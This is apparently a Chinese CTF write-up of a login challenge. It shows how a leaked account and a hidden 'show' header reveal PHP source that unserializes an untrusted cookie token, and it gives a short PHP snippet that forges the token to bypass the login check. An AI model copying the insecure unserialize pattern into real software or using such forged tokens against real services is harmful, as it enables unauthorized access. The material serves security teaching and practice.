“百度杯”CTF比賽 十月場_Login
阿新 • • 發佈:2018-04-25
array flag -s mysql base ssi ech ken pan
題目在i春秋ctf大本營
打開頁面是兩個登錄框,首先判斷是不是註入
嘗試了各種語句後,發現登錄界面似乎並不存在註入
查看網頁源代碼,給出了一個賬號
用帳密登陸後,跳轉到到member.php網頁,網頁本身並沒有什麽提示內容
接著抓包查看,這裏找了好久,最後在返回包的頭文件中發現了一個可以參數
嘗試在請求頭中加入show參數:
返回一段源代碼,開始審計之路:
<?php include ‘common.php‘; $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); class db {public $where; function __wakeup() { if(!empty($this->where)) { $this->select($this->where); } } function select($where) { $sql = mysql_query(‘select * from user where ‘.$where);return @mysql_fetch_array($sql); } } if(isset($requset[‘token‘])) { $login = unserialize(gzuncompress(base64_decode($requset[‘token‘]))); $db = new db(); $row = $db->select(‘user=\‘‘.mysql_real_escape_string($login[‘user‘]).‘\‘‘); if($login[‘user‘] === ‘ichunqiu‘) {echo $flag; }else if($row[‘pass‘] !== $login[‘pass‘]){ echo ‘unserialize injection!!‘; }else{ echo "(╯‵□′)╯︵┴─┴ "; } }else{ header(‘Location: index.php?error=1‘); } ?>
看其中關鍵的邏輯語句:
$login = unserialize(gzuncompress(base64_decode($requset[‘token‘])));
接著看到判斷語句:
if($login[‘user‘] === ‘ichunqiu‘) { echo $flag; }
所以我們要在cookie中給token一個參數,先是創建一個數組並給其中的user鍵賦值為ichunqiu,然後進行上面一系列操作
<?php $a = array(‘user‘=>‘ichunqiu‘); $b = base64_encode(gzcompress(serialize($a))); echo $b ?>
得到token的值:
直接去請求包中添加cookie的值,可以直接拿到flag了
“百度杯”CTF比賽 十月場_Login